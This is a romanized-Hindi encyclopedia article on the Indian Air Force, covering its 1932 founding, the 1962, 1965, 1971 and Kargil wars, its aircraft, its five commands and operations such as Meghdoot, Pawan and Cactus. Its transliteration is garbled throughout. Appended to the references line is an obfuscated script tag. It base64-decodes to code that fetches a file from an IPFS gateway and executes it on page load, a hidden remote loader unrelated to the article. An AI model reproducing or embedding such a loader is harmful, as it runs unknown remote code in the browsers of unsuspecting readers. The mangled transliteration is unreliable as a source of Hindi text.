भारतीय वायु सेना
bharatiy vayu sena
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| vivaran | 'bharatiy vayu sena divas' pratyek varsh 8 aktoobar ko manaya jata hai. 8 aktoobar, 1932 ko bharatiy vidhayika dvara bharatiy vayu sena vidheyak parit karane ke sath hi vayu sena astitv mean aee thi. |
| sthapana | 8 aktoobar, 1932 |
| pahali u dan | 'bharatiy vayu sena' dvara u daya jane vala pahala helik aauptar 'sik aaurski' tha, jisaka upayog 1954 se 1966 ke bich kiya gaya tha. |
| kul kaman | paanch- pashchimi kaman, keandriy kaman, poorvi kaman, dakshin-pashchimi kaman, dakshini kaman. |
| vishesh | aj 'bharatiy vayu sena' ke pas 500 se adhik helik aauptar aur em.aee. 26 bhari helik aauptar haian, jo sena ka gaurav hai. |
| any janakari | ab tak vayu sena ne vibhinn deshoan dvara nirmit 73 vibhinn prakar ke vayuyanoan ko u daya hai. 1930 aur 1950 ke dashakoan ke dauran isane 'vapiti' aur 'taigar m aauth' jaise ek ianjan vale dvital vimanoan ko u daya hai. |
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bharatiy vayu sena (aangrezi: Indian Air Force) ki shthapana 8 aktoobar, 1932 ko ki gee aur 1 aprail 1954 ko eyar marshal subroto mukharji, bharatiy nausena ke ek sanshthapak sadashy ne pratham bharatiy vayu sena pramukh ka karyabhar sanbhala. samay guzarane ke sath bharatiy vayu sena ne apane havaee jahazoan aur upakaranoan mean athyadhik unhnayan kie haian aur is prakriya ke bhag ke roop mean isamean 20 ne prakar ke havaee jahaz shamil kie haian. 20vian shatabhdi ke aantim dashak mean bharatiy vayu sena mean mahilaoan ko shamil karane ki pahal ke lie sanrachana mean asadharan badalav kie ge, jinhhean alhp seva kalin kamishan hetu liya gaya yah aisa samay tha jab vayu sena ne ab tak ke kuchh adhik jokhim poorn kary hath mean lie hue the. [1]
itihas
bharatiy vayu sena bharatiy sashastr senaoan ka sabase naya aang hai. 8 aktoobar 1932 ko bharatiy vidhayika dvara bharatiy vayu sena vidheyak parit karane ke sath hi vayu sena astitv mean aee. halaanki 1 aprॅl 1933 ko pahale havaee daste ka gathan hua, jo ek nanbar skav aaudran ka hissa bani. isamean chhah r aauyal eyar fors prashikshit adhikari 19 havaee sipahi aur char vestalaiand vapiti aee. aee. e. sainy sahayog viman the. dvitiy vishv yuddh ke shuroo hone par nanbar 1 skav aaudran bharatiy vayu sena ka ekamatr sangathan tha. us samay vayu sena mean 16 adhikari aur 662 sainik the. 1939 mean yah prastav kiya gaya ki mukhy bandaragahoan ki suraksha ke lie paanch havaee dastoan ki svaichchhik adhar par vyavastha ki jae. madras (vartaman chennee) pahala havaee dasta, banbee (vartaman mumbee) mean doosara, kalakatta (vartaman kolakata) mean tisara karaanchi mean chautha kochin (vartaman kochchi) mean paanchavaan aur bad mean vishakhapattanam mean chhatha havaee dasta banaya gaya. 1944 ke aant tak bharatiy vayu sena mean nau skav aaudran ban chuke the.thumb|250px|left|bharatiy vayusena ka dhvaj pahale sthapit vayu sena keandr agara, pune, aanbala chandigadh aur bangalor mean haian. march 1945 mean bharatiy vayu sena ko r aauyal ka upasarg diya gaya. yah samman use dvitiy vishv yuddh mean prashansaniy yogadan ke lie diya gaya tha. agast, 1945 mean yuddh ki sthiti samapt hone par r aauyal iandiyan eyar fors mean 28,500 karmi the, jinamean se 1,600 adhikari the.
15 agast 1947 ko bharat ki azadi ke samay r aauyal iandiyan eyar fors ki sanpatti ko bharat v pakistan ke bich vibhajit kiya gaya. agr morche ke 10 skv aaudranoan mean se do navanirmit r aauyal pakistan eyar fors ko die ge. janavari 1950 mean british rashtrakul ke aantargat bharat ke ganatantr banane par r aauyal upasarg hata diya gaya. us samay bharatiy vayu sena ke pas spitafayar, vaianpayar aur teanpest ke chhah l dakoo skv aaudran the. ane vale varshoan mean in skv aaudranoan ki sankhya aur badhi. purane aur ghis chuke vayuyanoan ko hata diya gaya aur unhean adhunik v behatarin vayuyanoan se badala gaya.
svaantatryottar kal
azadi ke bad se ab tak char avasaroan par bharatiy vayu sena ki kshamataoan ka parikshan hua. har avasar par usane svayan ko bejo d sabit kiya.
- aktoobar, 1962 mean desh ki sima par bharat-chin yuddh ki sthiti paida huee. 20 aktoobar se 20 navanbar tak vayu sena ki parivahan v helik aauptar ikaee par bahut dabav tha. chaubisoan ghante simavarti chaukiyoan par sainy dastoan v vastuoan ki apoorti ki jani thi. helik aauptaroan ko paha doan ke visham hailipaidoan par lagatar chin ke chhote vayuyan rodhi shastroan ke khatare ka samana karana tha. is dauran bharatiy vayu sena ne bahut se anokhe kary kie.
- 1 sitanbar 1965 ko chhanb kshetr mean pakistani sena ne akraman kar diya. vayu sena ne thal sena ko zamin par apane vaianpayar eph.bi.em. ke. 52, mistar, kainabara, hantar v nait dvara prashansaniy sahayata pradan ki aur prabhavi dhang se pakistani sena ke qadam ukhad die.
- disanbar 1971 mean bharat aur pakistan ke bich phir yuddh hua aur vayusena ne dubara mahattvapoorn bhoomika nibhaee. pashchimi morche par vayu sena ne shatru ki sanchar pranali ko nuqasan pahuanchane ke apane prathamik kary ko aanzam diya aur usake eeandhan v gola-barood bhandar ko nasht kar use zamin par sena ekatrit karane se rok diya.
thumb|250px|bharatiy vayu sena
- mee 1999 ke karagil sangharsh mean pakistani ghusapaithiyoan ko niyantran rekha ke par bhejane ke lie bharatiy thal sena ko vishv ke sarvochch bhoo-bhagoan mean se ek mean yuddh karana p da. prabhavi evan samay par havaee sahayata sena ke lie anamol sabit huee.
vayuyan
1932 se ab tak bharatiy vayu sena ne vibhinn deshoan dvara nirmit 73 vibhinn prakar ke vayuyanoan ko u daya hai. 1930 aur 1950 ke dashakoan ke dauran isane vapiti aur taigar m aauth jaise ek ianjan vale dvital vimanoan ko u daya hai. 1940 ke dashak mean tarbo-propelar yukt vayuyan ki shuruat huee, jinamean se sarvadhik prasiddh spitafayar faitar aur dakota traansaportar haian. 1948 se 1972 tak bharatiy vayu sena ne pahale tarbojet vayuyanoan mean se ek vaianpayar ka istemal kiya. bharatiy vayu sena dvara u daya jane vala pahala helik aauptar sik aaurski tha, jisaka upayog 1954 se 1966 ke bich kiya gaya. 1957 mean bharatiy vayu sena ne ek chhota helik aauptar bel prapt kiya, jisaka 1972 tak upayog kiya gaya. aj bharatiy vayu sena ke pas 500 se adhik helik aauptar aur em.aee. 26 bhari helik aauptar haian, jo sena ka gaurav hai.
sangathan
bharatiy vayu sena mean paanch kamanean haian. pashchimi kaman, jisaka mukhyalay dilli mean hai, ilahabad mean keandriy kaman, shilaang mean poorvi kaman, jodhapur mean dakshin-pashchimi kaman aur tiruvanantapuram mean dakshini kaman hai. ye paanchoan kamanean apane prashasanik vibhagoan ki sahayata se lagabhag 20 helik aauptar ikaiyoan, 45 sthayi-viang skv aaudran aur any kee bhoomi se hava mean mar karane vali misail skv aaudranoan ki gatividhiyoan par niyantran rakhati haian. lagabhag 1,700 vayuyanoan ki dekhabhal ke lie lagabhag 1,20,000 karmi lage hue haian. thumb|250px|bharatiy vayusena ke sainik bharat ki azadi ke samay r aauyal iandiyan eyar fors ke pramukh ko kamaandar-in-chif kaha jata tha aur usaka darza eyar marshal ka hota tha. eyar marshal sar t aaumas dablyoo elmaharst r aauyal iandiyan eyar fors ke pahale kamaandar-in-chif the. 1 aprॅl 1954 ko eyar marshal subroto mukharji ke vayusena ke pahale bharatiy pramukh banane ke sath hi yah pad khatm ho gaya. 1 agast 1964 se vayu sena ke pramukh ke pas eyar chif marshal ka pad bhi hai.
pramukh sainy karyavahiyaan
azadi ke bad bharatiy vayu sena ne bahut si sainy karyavahiyoan mean bhag liya hai, lekin inamean se tin ko pramukh mana ja sakata hai.
- pahali karravaee 'meghadoot' ne uttari laddakh mean siyachin gleshiyar par niyantran hasil karane mean bharatiy thal sena ki sahayata ki. aprॅl 1984 se bharatiy vayu sena vishv ke yuddh kshetroan mean sabase ooanche, visham v thande kshetr mean apoorti v tukadiyaan bhejane v havaee jahazoan se vahaan vastuean bhejane ka kam kar rahi hai. bahut ooanchaee aur shoony se bhi kam tapaman mean jahaz u dane ke karan yah vayu sena ke lie bahut chunautipoorn anubhav raha hai.
- doosari pramukh karravaee 1987 mean 'apareshan pavan' tha, jo 30 mahine tak jari raha. yah uttari v poorvi shrilanka mean bharatiy shaanti sena abhiyan tha. bharatiy vayu sena ke parivahan jahazoan aur helik aauptaroan ne shrilanka se aur usake bhitar 70,000 u danean bharian. sena ne dakshin bharat ke havaee addoan se shrilanka ke mukhyalay tak lagatar havaee sanpark qayam kar 1,00,000 tuk diyoan aur arddh sainik baloan ki sahayata ki. vayu sena logoan, yantroan aur khady-samagri ko le gee v sath hi ghayaloan ko hatane ka kam bhi kiya.
thumb|250px|left|bharatiy vayu sena ki sarang helik aauptar disple tim
- 1988 mean kiya gaya 'aaupareshan kaiktas' bharatiy vayu sena tisari pramukh karravaee thi. yah maladiv par bha de ke sainikoan dvara akraman ki sthiti mean vahaan ki sarakar dvara bharat sarakar se maangi gee sahayata se pratyuttar mean ek turant v prabhavi karravaee thi. 3 navanbar 1988 ko vayu sena ne agara se ek pairashoot bataliyan samooh ko liya. kuchh ghantoan ke hi bhitar bharatiy vayu sena ne havaee kshetr ko surakshit bacha liya aur male mean sarakar ke shasan ko bahal kar liya. yah ek sankshipt v raktapat rahit karravaee thi. jisane bharatiy vayu sena ki samarik yogyata ko pradarshit kiya.
inake alava bharatiy vayu ne aktoobar 1993 se disanbar 1994 tak somaliya mean shaanti bahal karane ka kam bhi kiya. isane sanyukt rashtr ki sahayata kar rahe bharatiy daste ke ek hisse ke roop mean apane kartavyoan ka palan kiya.
bharatiy vayu sena ne prakritik apadaoan se nipatane ki sthiti mean hamesha hi nagarik prashasan ki sahayata ki hai. eyar fors vaivz velafeyar esosieshan (e.eph.dablyoo.dablyoo.e.) yuddh evan shaantikal ke dauran prashasan ko sahayata deti hai. bharat ke mahattvapoorn shaharoan mean vayu sena ke aspatal haian. aandhr pradesh mean haidarabad ke nikat diandigal sthit eyar fors akaidami bhavi vayu sena adhikariyoan ko prashikshan deti hai. karnatak mean bangalor eyar fors treniang k aaulej adhikariyoan v sainikoan ko takaniki prashikshan deta hai.
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tika tippani aur sandarbh
- ↑ bharatiy sashashtr senaean (hindi) adhikarik vebasait. abhigaman tithi: 6 faravari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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